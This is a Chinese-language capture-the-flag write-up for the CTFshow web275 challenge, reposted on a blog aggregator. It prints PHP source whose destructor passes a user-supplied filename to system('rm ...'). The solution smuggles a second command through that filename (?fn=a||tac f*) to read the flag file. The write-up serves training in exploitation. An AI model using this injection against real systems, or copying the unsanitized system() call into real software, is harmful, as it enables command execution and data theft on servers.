CTFshow 反序列化 web275
生活随笔
收集整理的這篇文章主要介紹了
CTFshow 反序列化 web275
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
目錄
- 源碼
- 思路
- 題解
- 總結
源碼
<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-08 19:13:36 # @Last Modified by: h1xa # @Last Modified time: 2020-12-08 20:08:07 # @email: h1xa@ctfer.com # @link: https://ctfer.com*/highlight_file(__FILE__);class filter{public $filename;public $filecontent;public $evilfile=false;public function __construct($f,$fn){$this->filename=$f;$this->filecontent=$fn;}public function checkevil(){if(preg_match('/php|\.\./i', $this->filename)){$this->evilfile=true;}if(preg_match('/flag/i', $this->filecontent)){$this->evilfile=true;}return $this->evilfile;}public function __destruct(){if($this->evilfile){system('rm '.$this->filename);}} }if(isset($_GET['fn'])){$content = file_get_contents('php://input');$f = new filter($_GET['fn'],$content);if($f->checkevil()===false){file_put_contents($_GET['fn'], $content);copy($_GET['fn'],md5(mt_rand()).'.txt');unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);echo 'work done';}}else{echo 'where is flag?'; }where is flag?思路
這題的關鍵點在于$evilfile為true或者為false,
如果為true的話,就會執行
//可以通過拼接逃逸出來if($this->evilfile){system('rm '.$this->filename);}如果為false的話,就會執行
if($f->checkevil()===false){//寫入文件內容file_put_contents($_GET['fn'], $content);//復制文件,生成的新文件名進行md5加密+隨機數copy($_GET['fn'],md5(mt_rand()).'.txt');//刪除原來的文件unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);echo 'work done';}很顯然,只要為ture就能很輕松rce
題解
GET: ?fn=a||tac f* POST: flag總結
水題
總結
以上是生活随笔為你收集整理的CTFshow 反序列化 web275的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: CTFshow 反序列化 web273
- 下一篇: CTFshow 反序列化 web277